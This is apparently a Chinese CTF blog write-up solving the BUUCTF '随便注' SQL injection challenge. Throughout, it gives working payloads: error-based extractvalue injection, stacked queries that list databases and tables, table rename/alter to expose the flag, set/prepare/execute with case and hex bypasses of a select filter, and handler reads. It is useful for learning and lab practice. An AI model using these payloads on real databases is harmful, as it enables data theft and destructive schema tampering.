BUUCTF-[强网杯 2019]随便注1

目录

题目:

方法:

方法1:

方法2 :使用set设置变量,prepare设置sql语句,execute执行函数

方法3:使用mysql专属handler语句,类似于select

其他问题:

1、url中#是特殊字符,参数中有#号的时候需要进行url编码。

 2、url中空格变成+和空格变成%20问题


题目:

方法:

只有输入1和2 才有结果

 

 发现输出是两列,一列是键,一列是值

测试是什么闭合

 输入1'发现有个报错

我们复制near后面的代码,通过一个字符一个字符的删除,发现是:

单引号 单引号 1 单引号 单引号 单引号

所以这不是双引号闭合,而是一个单引号闭合。

 测试输出有几列

payload:?inject=1' order by 3--+

发现报错,by 2的时候没有报错,说明输出有两列 

输入payload:-1' or 1=1--+

输出了所有的键值对,但是没有flag。继续注入

输入payload:-1' union select 1,2#

发现报错,过滤掉了select、update、delete、drop、insert、where且不区分大小写。 

因为过滤了update所以updatexml报错注入不行,换另一个报错注入

extractvalue(1,concat(0x7e,(想要输入的sql语句),0x7e))

payload:?inject=1'and extractvalue(1,concat(0x7e,(database()),0x7e))--+

 

 显示当前的数据库名字是supersqli

 因为过滤了select等,报错注入得到的东西很少,尝试使用堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。我们在上一条sql语句后面加上一个 ; 结束这个sql语句,然后继续构造下一条语句,那么下一条语句也会被执行。他与union的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的sql语句。

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。

输入payload:?inject=1';show databases--+

查出所有数据库名。 

  

输入payload:?inject=1';show tables--+

可以使用show tables from 数据库名
因为这里使用的是supersqli数据库所以我们查到的是supersqli数据库的所有表名

 

输入payload:?inject=1';show columns from `1919810931114514`--+
payload:?inject=1';show columns from words--+

#数字串为表名的表操作时要加反引号
#show columns 必须加上from table_name使用

爆出1919810931114514中的所有列,发现flag处于191981093114514这个表中。然后只有一列、words表有两列,所以题目查询的是words这个表。

 

现在的问题就是如何得到flag的值

方法1:

因为我们知道输入框中查询的语句为:

(1)select * from words where id=''
或者
(2)select id, data from words where id =''

 所以我们可以让程序中这个sql语句来帮我们查询到flag的值。而且没有过滤alter和rename。

若为第一种,我们把words改为其他值(必须先改words,在改191,否则就不会修改成功且必须一次性改完否则将words改成123之后再去改191这个表,就会提示找不到words这个表(因为前面要执行对words这个表的查询操作)),然后把1919810931114514这个表改成words。然后再增加一个id字段。最后在构造where后面的语句使其为恒真即可。

payload:?inject=1';rename table `words` to `123`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);--+ 

然后执行

payload:?inject=1'or 1=1--+

得出flag,说明为第一种。 

若为第二种还需要将flag列名改成data。

方法2 :使用set设置变量,prepare设置sql语句,execute执行函数

payload:?inject=-1';set @sql=concat('s','elect flag from `1919810931114514`');prepare sql1 from @sql;execute sql1--+

但是我们发现会有提示出现,strstr表示查找第二个字符串再第一个字符串中的首次出现,没有则返回flase,且区分大小写。 所以我们可以用大小写绕过。因为是与运算,所以将set或者prepare其中一个进行大小写绕过即可。通过使用contact字符串连接函数绕过对select的过滤

payload:?inject=-1';Set @sql=concat('s','elect flag from `1919810931114514`');prepare sql1 from @sql;execute sql1--+

绕过select还可以用16进制 

payload:?inject=-1';Set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare sql1 from @a;execute sql1--+

方法3:使用mysql专属handler语句,类似于select

mysql查询语句-handler

handler  tbl_name open (as yourname); #指定数据表进行载入并将返回句柄重命名
handler tbl_name read first; #读取指定表/句柄的首行数据
handler tbl_name read next; #读取指定表/句柄的下一行数据
handler tbl_name read next; #读取指定表/句柄的下一行数据

...
handler yunensec close; #关闭句柄  

payload:?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first--+

其他问题:

1、url中#是特殊字符,参数中有#号的时候需要进行url编码。

 

 2、url中空格变成+和空格变成%20问题

会发现输入框中输入空格和在hackbar中输入空格最后在url中空格的显示是不一样的,输入框中空格会变成+;hackbar中会变成空格的url编码形式%20。但不影响因为url中会把+当中空格处理

可能原因是配置问题:

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值